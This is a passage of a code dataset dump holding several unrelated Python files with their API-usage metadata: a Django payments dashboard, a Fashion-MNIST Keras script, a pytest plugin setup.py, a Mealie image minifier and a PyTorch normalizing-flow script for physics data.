"line_number": 84, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 84, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 86, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 86, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 86, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 86, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 87, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 87, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts.get_prediction", "line_number": 88, "usage_type": "call"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 88, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 88, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 88, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 88, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "tstools.settings.plot", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 96, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 96, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 97, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 97, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts.get_breaks", "line_number": 98, "usage_type": "call"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 98, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 98, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 98, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 98, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 100, "usage_type": "call"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 113, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 113, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 116, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 116, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 116, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 116, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 119, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 120, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 120, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 123, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 124, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 124, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 127, "usage_type": "call"}, {"api_name": "tstools.settings.plot", "line_number": 127, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 127, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 128, "usage_type": "call"}, {"api_name": "tstools.settings.plot", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 128, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.cm.get_cmap", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 140, "usage_type": "attribute"}, {"api_name": "matplotlib.colors.Normalize", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 141, "usage_type": "attribute"}, {"api_name": "matplotlib.cm.ScalarMappable", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 142, "usage_type": "attribute"}, {"api_name": "tstools.settings.plot", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 149, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 152, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 152, "usage_type": "name"}, {"api_name": "mpl_toolkits.axes_grid1.make_axes_locatable", "line_number": 155, "usage_type": "call"}, {"api_name": "mpl_toolkits.axes_grid1", "line_number": 155, "usage_type": "name"}, {"api_name": "tstools.settings.plot", "line_number": 163, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 163, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 172, "usage_type": "call"}, {"api_name": "tstools.settings.plot", "line_number": 174, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 174, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 187, "usage_type": "call"}, {"api_name": "tstools.settings.save_plot", "line_number": 208, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 208, "usage_type": "name"}, {"api_name": "tstools.settings.save_plot", "line_number": 209, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 209, "usage_type": "name"}, {"api_name": "tstools.settings.save_plot", "line_number": 210, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 210, "usage_type": "name"}, {"api_name": "tstools.settings.save_plot", "line_number": 211, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 211, "usage_type": "name"}, {"api_name": "tstools.settings.save_plot", "line_number": 212, "usage_type": "attribute"}, {"api_name": "tstools.settings", "line_number": 212, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path", "line_number": 214, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path", "line_number": 216, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 217, "usage_type": "call"}, {"api_name": "os.path", "line_number": 217, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path", "line_number": 222, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 225, "usage_type": "call"}, {"api_name": "os.path", "line_number": 225, "usage_type": "attribute"}]} +{"seq_id": "42256993", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Company, User, Payment\nfrom .serializers import CompanySerializer, UserSerializer, PaymentSerializer\nfrom rest_framework import generics\n\nclass CompanyList(generics.ListCreateAPIView):\n queryset = Company.objects.all()\n serializer_class = CompanySerializer\n\nclass UserList(generics.ListCreateAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\nclass PaymentList(generics.ListCreateAPIView):\n queryset = Payment.objects.all()\n serializer_class = PaymentSerializer\n\n\ndef index(request):\n latest_payment_list = Payment.objects.order_by('payment_date')\n user_list = User.objects.all()\n company_list = Company.objects.all()\n\n user_num = 0\n company_num = 0\n payments_num = 0\n total_dollars_paid = 0\n breakdown = {}\n user_record = []\n \n for company in company_list:\n \tcompany_num += 1\n \tbreakdown[company.name] = {\"total\": 0, \"payments\": 0, \"users\": 0}\n\n for payment in latest_payment_list:\n \ttotal_dollars_paid += payment.amount\n \tpayments_num += 1\n\n \tif payment.amount > 0:\n \t\tbreakdown[payment.user.company.name][\"total\"] += payment.amount\n \t\tbreakdown[payment.user.company.name][\"payments\"] += 1\n \t\tif payment.user not in user_record:\n \t\t\tbreakdown[payment.user.company.name][\"users\"] += 1\n \t\t\tuser_num += 1\n \t\t\tuser_record.append(payment.user)\n\n context = {\n \t'latest_payment_list': latest_payment_list,\n \t'total_dollars_paid': total_dollars_paid,\n \t'payments_num': payments_num,\n \t'company_num': company_num,\n \t'user_num': user_num,\n \t'breakdown': breakdown\n }\n \n\n return render(request, 'dashboard/index.html', context)\n\n\n\n\n", "sub_path": "PerPay_Challenge/dashboard/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1759, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 7, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 7, "usage_type": "name"}, {"api_name": "models.Company.objects.all", "line_number": 8, "usage_type": "call"}, {"api_name": "models.Company.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "models.Company", "line_number": 8, "usage_type": "name"}, {"api_name": "serializers.CompanySerializer", "line_number": 9, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 11, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 11, "usage_type": "name"}, {"api_name": "models.User.objects.all", "line_number": 12, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 12, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 12, "usage_type": "name"}, {"api_name": "serializers.UserSerializer", "line_number": 13, "usage_type": "name"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 15, "usage_type": "name"}, {"api_name": "models.Payment.objects.all", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Payment.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.Payment", "line_number": 16, "usage_type": "name"}, {"api_name": "serializers.PaymentSerializer", "line_number": 17, "usage_type": "name"}, {"api_name": "models.Payment.objects.order_by", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Payment.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.Payment", "line_number": 21, "usage_type": "name"}, {"api_name": "models.User.objects.all", "line_number": 22, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 22, "usage_type": "name"}, {"api_name": "models.Company.objects.all", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Company.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Company", "line_number": 23, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 58, "usage_type": "call"}]} +{"seq_id": "158183262", "text": "import tensorflow as tf\nfrom tensorflow import keras\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom tensorflow._api.v2.config import optimizer\n\n\nclass Service:\n def __init__(self):\n self.class_names = ['T-shirt/top','Trouser','Pullover',\n 'Dress','Coat','Sandal','Shirt'\n ,'Sneaker','Bag','Ankle boot']\n def create_model(self):\n fashion_mnist = keras.datasets.fashion_mnist\n (train_images, train_labels), (test_images, test_labels) \\\n = fashion_mnist.load_data()\n \"\"\"\n train_images = train_images / 255.0\n test_images = test_images / 255.0\n plt.figure()\n plt.imshow(train_images[15])\n plt.colorbar()\n plt.grid(False)\n plt.show()\n \"\"\"\n train_images = train_images / 255.0\n test_images = test_images / 255.0\n plt.figure(figsize=(10,10))\n for i in range(25):\n plt.subplot(5,5,i+1)\n plt.xticks([])\n plt.yticks([])\n plt.grid(False)\n plt.imshow(train_images[i], cmap=plt.cm.binary)\n plt.xlabel(self.class_names[train_labels[i]])\n plt.show()\n model = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation='relu'),\n keras.layers.Dense(10, activation='softmax')\n ])\n model.compile(optimizer='adam',\n loss = 'sparse_categorical_crossentropy', metrics=['accuracy'])\n\n #learning\n model.fit(train_images, train_labels, epochs=5)\n test_loss, test_acc = model.evaluate(test_images, test_labels)\n print(f'테스트 정확도: {test_acc}')\n\nif __name__ == '__main__':\n service = Service()\n def print_menu():\n print('0. 종료')\n print('1. 모델생성')\n return input('메뉴 입력\\n')\n while 1:\n menu = print_menu()\n if menu == '1':\n service.create_model()\n elif menu == '0':\n break", "sub_path": "step7_tensor/fashion.py", "file_name": "fashion.py", "file_ext": "py", "file_size_in_byte": 2054, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "tensorflow.keras.datasets", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 34, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 37, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 38, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 39, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 40, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 40, "usage_type": "name"}]} +{"seq_id": "570748747", "text": "from setuptools import setup\n\ndescription = 'pytest plugin for adding to the PYTHONPATH from command line or configs.'\ntry:\n long_description = open(\"README.md\").read()\nexcept:\n long_description = description\n\nsetup(\n name='pytest-pythonpath',\n description=description,\n long_description=long_description,\n license='MIT',\n version='0.7',\n author='Eric Palakovich Carr',\n author_email='carreric@gmail.com',\n url='https://github.com/bigsassy/pytest-pythonpath',\n py_modules=['pytest_pythonpath'],\n entry_points={'pytest11': ['pythonpath = pytest_pythonpath']},\n install_requires=['pytest>=2.5.2']\n)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 636, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "setuptools.setup", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "367967826", "text": "import shutil\nfrom dataclasses import dataclass\nfrom pathlib import Path\n\nfrom mealie.core import root_logger\nfrom mealie.core.config import app_dirs\nfrom mealie.db.database import db\nfrom mealie.db.db_setup import create_session\nfrom PIL import Image\nfrom sqlalchemy.orm.session import Session\n\nlogger = root_logger.get_logger()\n\n\n@dataclass\nclass ImageSizes:\n org: str\n min: str\n tiny: str\n\n\ndef get_image_sizes(org_img: Path, min_img: Path, tiny_img: Path) -> ImageSizes:\n return ImageSizes(\n org=sizeof_fmt(org_img),\n min=sizeof_fmt(min_img),\n tiny=sizeof_fmt(tiny_img),\n )\n\n\ndef minify_image(image_file: Path) -> ImageSizes:\n \"\"\"Minifies an image in it's original file format. Quality is lost\n\n Args:\n my_path (Path): Source Files\n min_dest (Path): FULL Destination File Path\n tiny_dest (Path): FULL Destination File Path\n \"\"\"\n min_dest = image_file.parent.joinpath(f\"min-original{image_file.suffix}\")\n tiny_dest = image_file.parent.joinpath(f\"tiny-original{image_file.suffix}\")\n\n if min_dest.exists() and tiny_dest.exists():\n return\n try:\n img = Image.open(image_file)\n basewidth = 720\n wpercent = basewidth / float(img.size[0])\n hsize = int((float(img.size[1]) * float(wpercent)))\n img = img.resize((basewidth, hsize), Image.ANTIALIAS)\n img.save(min_dest, quality=70)\n\n tiny_image = crop_center(img)\n tiny_image.save(tiny_dest, quality=70)\n\n except Exception:\n shutil.copy(image_file, min_dest)\n shutil.copy(image_file, tiny_dest)\n\n image_sizes = get_image_sizes(image_file, min_dest, tiny_dest)\n\n logger.info(f\"{image_file.name} Minified: {image_sizes.org} -> {image_sizes.min} -> {image_sizes.tiny}\")\n \n return image_sizes\n\n\ndef crop_center(pil_img, crop_width=300, crop_height=300):\n img_width, img_height = pil_img.size\n return pil_img.crop(\n (\n (img_width - crop_width) // 2,\n (img_height - crop_height) // 2,\n (img_width + crop_width) // 2,\n (img_height + crop_height) // 2,\n )\n )\n\n\ndef sizeof_fmt(file_path: Path, decimal_places=2):\n if not file_path.exists():\n return \"(File Not Found)\"\n size = file_path.stat().st_size\n for unit in [\"B\", \"kB\", \"MB\", \"GB\", \"TB\", \"PB\"]:\n if size < 1024.0 or unit == \"PiB\":\n break\n size /= 1024.0\n return f\"{size:.{decimal_places}f} {unit}\"\n\n\ndef move_all_images():\n for image_file in app_dirs.IMG_DIR.iterdir():\n if image_file.is_file():\n if image_file.name == \".DS_Store\":\n continue\n new_folder = app_dirs.IMG_DIR.joinpath(image_file.stem)\n new_folder.mkdir(parents=True, exist_ok=True)\n new_file = new_folder.joinpath(f\"original{image_file.suffix}\")\n if new_file.is_file():\n new_file.unlink()\n image_file.rename(new_file)\n\n\ndef validate_slugs_in_database(session: Session = None):\n def check_image_path(image_name: str, slug_path: str) -> bool:\n existing_path: Path = app_dirs.IMG_DIR.joinpath(image_name)\n slug_path: Path = app_dirs.IMG_DIR.joinpath(slug_path)\n\n if existing_path.is_dir():\n slug_path.rename(existing_path)\n else:\n logger.info(\"No Image Found\")\n\n session = session or create_session()\n all_recipes = db.recipes.get_all(session)\n\n slugs_and_images = [(x.slug, x.image) for x in all_recipes]\n\n for slug, image in slugs_and_images:\n image_slug = image.split(\".\")[0] # Remove Extension\n if slug != image_slug:\n logger.info(f\"{slug}, Doesn't Match '{image_slug}'\")\n check_image_path(image, slug)\n\n\ndef migrate_images():\n logger.info(\"Checking for Images to Minify...\")\n\n move_all_images()\n\n for image in app_dirs.IMG_DIR.glob(\"*/original.*\"):\n\n minify_image(image)\n\n logger.info(\"Finished Minification Check\")\n\n\nif __name__ == \"__main__\":\n migrate_images()\n validate_slugs_in_database()\n", "sub_path": "mealie/services/image/minify.py", "file_name": "minify.py", "file_ext": "py", "file_size_in_byte": 4063, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "mealie.core.root_logger.get_logger", "line_number": 12, "usage_type": "call"}, {"api_name": "mealie.core.root_logger", "line_number": 12, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 15, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 22, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 30, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 44, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 44, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 48, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 48, "usage_type": "name"}, {"api_name": "shutil.copy", "line_number": 55, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 56, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 77, "usage_type": "name"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR.iterdir", "line_number": 89, "usage_type": "call"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR", "line_number": 89, "usage_type": "attribute"}, {"api_name": "mealie.core.config.app_dirs", "line_number": 89, "usage_type": "name"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR.joinpath", "line_number": 93, "usage_type": "call"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR", "line_number": 93, "usage_type": "attribute"}, {"api_name": "mealie.core.config.app_dirs", "line_number": 93, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.session.Session", "line_number": 101, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 103, "usage_type": "name"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR.joinpath", "line_number": 103, "usage_type": "call"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR", "line_number": 103, "usage_type": "attribute"}, {"api_name": "mealie.core.config.app_dirs", "line_number": 103, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 104, "usage_type": "name"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR.joinpath", "line_number": 104, "usage_type": "call"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR", "line_number": 104, "usage_type": "attribute"}, {"api_name": "mealie.core.config.app_dirs", "line_number": 104, "usage_type": "name"}, {"api_name": "mealie.db.db_setup.create_session", "line_number": 111, "usage_type": "call"}, {"api_name": "mealie.db.database.db.recipes.get_all", "line_number": 112, "usage_type": "call"}, {"api_name": "mealie.db.database.db.recipes", "line_number": 112, "usage_type": "attribute"}, {"api_name": "mealie.db.database.db", "line_number": 112, "usage_type": "name"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR.glob", "line_number": 128, "usage_type": "call"}, {"api_name": "mealie.core.config.app_dirs.IMG_DIR", "line_number": 128, "usage_type": "attribute"}, {"api_name": "mealie.core.config.app_dirs", "line_number": 128, "usage_type": "name"}]} +{"seq_id": "547069113", "text": "#!/usr/bin/env python3\n\"\"\"\nA script to run nflow in HPC, like eofe cluster\n\"\"\"\nimport pickle5 as pickle\n\n#Standard import statements\nimport itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n#datetime lib for debug\nfrom datetime import datetime\n\n#Pytorch imports\nimport torch\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.nn.init as init\nfrom torch import nn\nfrom torch import distributions\nfrom torch.distributions import MultivariateNormal, Uniform, TransformedDistribution, SigmoidTransform\nfrom torch.nn.parameter import Parameter\n\n#NFlow library imports\nfrom nflib.flows import (\n AffineConstantFlow, AffineHalfFlow, MLP, \n NormalizingFlow, NormalizingFlowModel,\n)\n\n#Create data class\nclass dataXZ:\n \"\"\"\n read the data stored in pickle format\n the converting routine is at https://github.com/6862-2021SP-team3/hipo2pickle\n \"\"\"\n def __init__(self):\n with open('pi0.pkl', 'rb') as f:\n xz = np.array(pickle.load(f), dtype=np.float32)\n xz = xz[:, 1:]\n x = xz[:, :16]\n z = xz[:, 16:]\n xwithoutPid = x[:, [0, 1, 2, 4, 5, 6, 8, 9, 10, 12, 13, 14]]\n zwithoutPid = z[:, [0, 1, 2, 4, 5, 6, 8, 9, 10, 12, 13, 14]]\n self.xz = xz\n self.x = torch.from_numpy(np.array(x))\n self.z = torch.from_numpy(np.array(z))\n self.xwithoutPid = torch.from_numpy(xwithoutPid)\n self.zwithoutPid = torch.from_numpy(zwithoutPid)\n\n def sample(self, n):\n randint = np.random.randint( self.xz.shape[0], size =n)\n xz = self.xz[randint]\n x = self.x[randint]\n z = self.z[randint]\n xwithoutPid = self.xwithoutPid[randint]\n zwithoutPid = self.zwithoutPid[randint]\n return {\"xz\":xz, \"x\": x, \"z\": z, \"xwithoutPid\": xwithoutPid, \"zwithoutPid\": zwithoutPid}\n\nxz = dataXZ()\n\n# construct a model\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n# try with electron momentum magintude and polar angle only\nprior = TransformedDistribution(Uniform(torch.zeros(2, device = device), torch.ones(2, device = device)), SigmoidTransform().inv) # Logistic distribution\n#prior = MultivariateNormal(torch.zeros(2, device = device), torch.eye(2, device = device)) # Normal distribution\n# NICE\nflows = [AffineHalfFlow(dim=2, parity=i%2, scale=False) for i in range(12)]\n#print(flows)\nflows.append(AffineConstantFlow(dim=2, shift=False))\n#print(flows)\n\n\n# construct the model\n\nmodel = NormalizingFlowModel(prior, flows, device = device)\nmodel.to(device)\n\n# optimizer\n#optimizer = optim.Adam(model.parameters(), lr=1e-3, weight_decay=1e-9) # this one was pretty good, but oscillates\noptimizer = optim.Adam(model.parameters(), lr=5e-4, weight_decay=1e-9) # pretty solid, two bands\n#optimizer = optim.Adam(model.parameters(), lr=5e-4, weight_decay=1e-10) # weird tail at high electron momenutm\n#optimizer = optim.Adam(model.parameters(), lr=1e-2, weight_decay=1e-9) # \n\n\nprint(\"number of params: \", sum(p.numel() for p in model.parameters()))\n\n# in training mode to learn the distribution.\nmodel.train()\nstart_now = datetime.now()\nstart_time = start_now.strftime(\"%H:%M:%S\")\nprint(\"Start Time =\", start_time)\nlosses = []\nfor k in range(5000):\n sampleDict = xz.sample(1000)\n x = sampleDict[\"xwithoutPid\"][:, 0:2] # try with electron momentum magintude and polar angle only.\n x = x.to(device)\n zs, prior_logprob, log_det = model(x)\n logprob = prior_logprob + log_det\n loss = -torch.sum(logprob) # NLL\n\n model.zero_grad()\n loss.backward()\n optimizer.step()\n \n losses.append(loss.item())\n if k % 100 == 0:\n run_time = datetime.now()\n elapsedTime = (run_time - start_now )\n print(\"On step {} - loss {:.2f}, Current Running Time = {:.2f} seconds\".format(k,loss.item(),elapsedTime.total_seconds())) \n\nnow = datetime.now()\nend_time = now.strftime(\"%H:%M:%S\")\nprint(\"End Time =\", end_time)\nelapsedTime = (now - start_now )\nprint(\"Total Run Time = {:.5f} seconds\".format(elapsedTime.total_seconds()))\n\n\nfig, ax = plt.subplots(figsize =(10, 7)) \n#print(np.arange(len(losses)))\nplt.rcParams[\"font.family\"] = \"Times New Roman\"\nplt.rcParams[\"font.size\"] = \"16\"\n\nplt.scatter(np.arange(len(losses)),losses, c='g', s=20)\nplt.title('Loss vs. Training Step')\nax.set_xlabel(\"Training Step\") \nax.set_ylabel(\"Loss\")\nplt.tight_layout()\nplt.savefig(\"loss.pdf\")\n\n# start testing\nmodel.eval()\nplt.rcParams[\"font.family\"] = \"Times New Roman\"\nplt.rcParams[\"font.size\"] = \"16\"\n\nsampleDict = xz.sample(10000)\nx = sampleDict[\"xwithoutPid\"][:, 0:2]\nx = x.to(device)\nzs, prior_logprob, log_det = model(x)\nz = zs[-1]\n\np = model.prior.sample([10000, 2]).squeeze()\nif device == \"cpu\":\n x = x.detach().numpy()\n z = z.detach().numpy()\nelse:\n x = x.cpu().detach().numpy()\n z = z.cpu().detach().numpy()\n p = p.cpu()\n\nfig, ax = plt.subplots(figsize =(10, 7)) \nplt.scatter(p[:,0], p[:,1], c='g', s=5)\nplt.scatter(z[:,0], z[:,1], c='r', s=5)\nplt.scatter(x[:,0], x[:,1], c='b', s=5)\nplt.legend(['prior', 'x->z', 'data'])\nplt.axis('scaled')\nplt.title('x -> z')\n\n\nzs = model.sample(10000)\nz = zs[-1]\nif device == \"cpu\":\n z = z.detach().numpy()\nelse:\n z = z.cpu().detach().numpy()\nfig, ax = plt.subplots(figsize =(10, 7)) \nplt.scatter(z[:,0], z[:,1], c='r', s=5, alpha=0.5)\nplt.scatter(x[:,0], x[:,1], c='b', s=5, alpha=0.5)\nplt.legend(['NFlow Model','Physics Model'])\nplt.title('NFlow Generated Data vs. Physics Model Training Data')\nax.set_xlabel(\"Electron Momentum\") \nax.set_ylabel(\"Polar Angle\")\n\nfig, ax = plt.subplots(figsize =(10, 7)) \nax.set_xlabel(\"Electron Momentum\") \nax.set_ylabel(\"Polar Angle\")\n#plt.scatter(x[:,0], x[:,1], c='g', s=5)\nplt.title('Electron Momentum vs. Angle, Physics Model')\nplt.hist2d(x[:,0], x[:,1],bins =[40, 40],norm=mpl.colors.LogNorm())# cmap = plt.cm.nipy_spectral) \nplt.colorbar()\n\n\nfig, ax = plt.subplots(figsize =(10, 7)) \nax.set_xlabel(\"Electron Momentum\") \nax.set_ylabel(\"Polar Angle\")\nplt.title('Electron Momentum vs. Angle, NFlow Generated')\n#plt.scatter(x[:,0], x[:,1], c='g', s=5)\nplt.hist2d(z[:,0], z[:,1],bins =[40, 40],norm=mpl.colors.LogNorm())# cmap = plt.cm.nipy_spectral) \nplt.colorbar()\nplt.savefig(\"output.pdf\")", "sub_path": "clas12-nflow.py", "file_name": "clas12-nflow.py", "file_ext": "py", "file_size_in_byte": 6155, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "pickle5.load", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 48, "usage_type": "call"}, {"api_name": 